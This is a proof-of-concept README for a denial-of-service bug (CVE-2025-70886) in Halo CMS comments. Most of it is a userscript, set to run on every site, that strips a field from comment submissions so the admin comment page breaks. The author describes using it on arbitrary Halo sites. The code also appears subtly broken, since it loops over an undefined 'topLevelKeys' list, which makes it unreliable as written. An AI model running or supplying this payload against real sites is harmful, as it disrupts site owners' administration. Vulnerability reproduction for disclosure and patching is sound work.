CVE-2025-70886 Proof of Concept (PoC) | A Script to Crash Halo CMS Comment Backend
简体中文 | English
A Proof of Concept (PoC) exploit for CVE-2025-70886, a persistent denial-of-service vulnerability in Halo CMS (v2.22.4 and earlier) that allows remote attackers to crash the admin comment interface by submitting malformed payloads.
Introduction
While surfing the web, I found Issue #7890 · halo-dev/halo. I thought this issue was submitted on November 1, 2025, and it's now January 4, 2026, so it should have been fixed by now.
Reproduction
With AI assistance, I quickly wrote the following Tampermonkey script for verification:
Click to expand details
// ==UserScript==
// @name Modify Halo comment payload
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Intercept POSTs to /apis/api.halo.run/v1alpha1/comments and remove subjectRef.version
// @match *://*/*
// @grant none
// @run-at document-start
// ==/UserScript==
(function () {
'use strict';
console.log('[modify_halo_comment] script started');
const targetPath = '/apis/api.halo.run/v1alpha1/comments';
const REMOVE = {
paths: [
'subjectRef.version',
]
};
function deletePath(obj, dottedPath) {
if (!obj || typeof obj !== 'object') return false;
const parts = String(dottedPath).split('.').filter(Boolean);
if (parts.length === 0) return false;
let current = obj;
for (let i = 0; i < parts.length - 1; i++) {
const key = parts[i];
if (!current || typeof current !== 'object') return false;
current = current[key];
}
if (!current || typeof current !== 'object') return false;
const lastKey = parts[parts.length - 1];
if (lastKey in current) {
delete current[lastKey];
return true;
}
return false;
}
function stripFields(obj) {
let modified = false;
if (obj && typeof obj === 'object') {
for (const key of REMOVE.topLevelKeys) {
if (key in obj) {
delete obj[key];
modified = true;
}
}
for (const path of REMOVE.paths) {
if (deletePath(obj, path)) modified = true;
}
}
return modified;
}
// --- patch fetch ---
const _fetch = window.fetch;
window.fetch = async function (input, init) {
try {
const req = (input instanceof Request) ? input : null;
const isURLObject = (typeof URL !== 'undefined' && input instanceof URL);
let url = req ? req.url : (typeof input === 'string' ? input : isURLObject ? input.toString() : '');
let method = (init && init.method) || (req && req.method) || 'GET';
if (url && url.includes(targetPath) && method && method.toUpperCase() === 'POST') {
console.log('[modify_halo_comment] intercept', { url, method });
const serializeBody = async (body) => {
if (typeof body === 'string') return body;
if (body instanceof Blob) return await body.text();
if (body instanceof FormData) return null;
if (body && typeof body === 'object') {
try { return JSON.stringify(body); } catch (e) { }
}
return null;
};
const tryModify = (rawBody) => {
if (!rawBody) return null;
try {
const obj = JSON.parse(rawBody);
const changed = stripFields(obj);
if (changed) {
const out = JSON.stringify(obj);
console.log('[modify_halo_comment] modified body', out.length > 400 ? out.slice(0, 400) + '…' : out);
return out;
}
console.log('[modify_halo_comment] no fields matched; not modified');
} catch (e) { }
return null;
};
if (init && 'body' in init && init.body != null) {
const serialized = await serializeBody(init.body);
console.log('[modify_halo_comment] init body serialized', serialized ? serialized.slice(0, 400) : serialized);
const modified = tryModify(serialized);
if (modified) {
init = Object.assign({}, init, { body: modified });
console.log('[modify_halo_comment] removed configured fields (fetch init)');
}
} else if (req) {
const cloned = req.clone();
const text = await cloned.text();
const modified = tryModify(text);
if (modified) {
const reqInit = {
method: req.method,
headers: req.headers,
body: modified,
referrer: req.referrer,
referrerPolicy: req.referrerPolicy,
mode: req.mode,
credentials: req.credentials,
cache: req.cache,
redirect: req.redirect,
integrity: req.integrity,
keepalive: req.keepalive,
signal: req.signal
};
input = new Request(req.url, reqInit);
console.log('[modify_halo_comment] removed configured fields (fetch Request)');
}
}
}
} catch (e) { console.error('[modify_halo_comment] fetch patch error', e); }
return _fetch.call(this, input, init);
};
})();
After loading the script, I went to any Halo CMS site and posted a comment. After submitting the comment, the backend comment page throws errors, showing an internal server error.
Workaround
The solution is to download the Data Studio plugin to delete the malicious comments.
Environment
Tested on:
- Halo CMS: v2.22.4
- Comment Component: v3.0.0
Acknowledgments:
Thanks to 林间拾语 for helping with testing.
0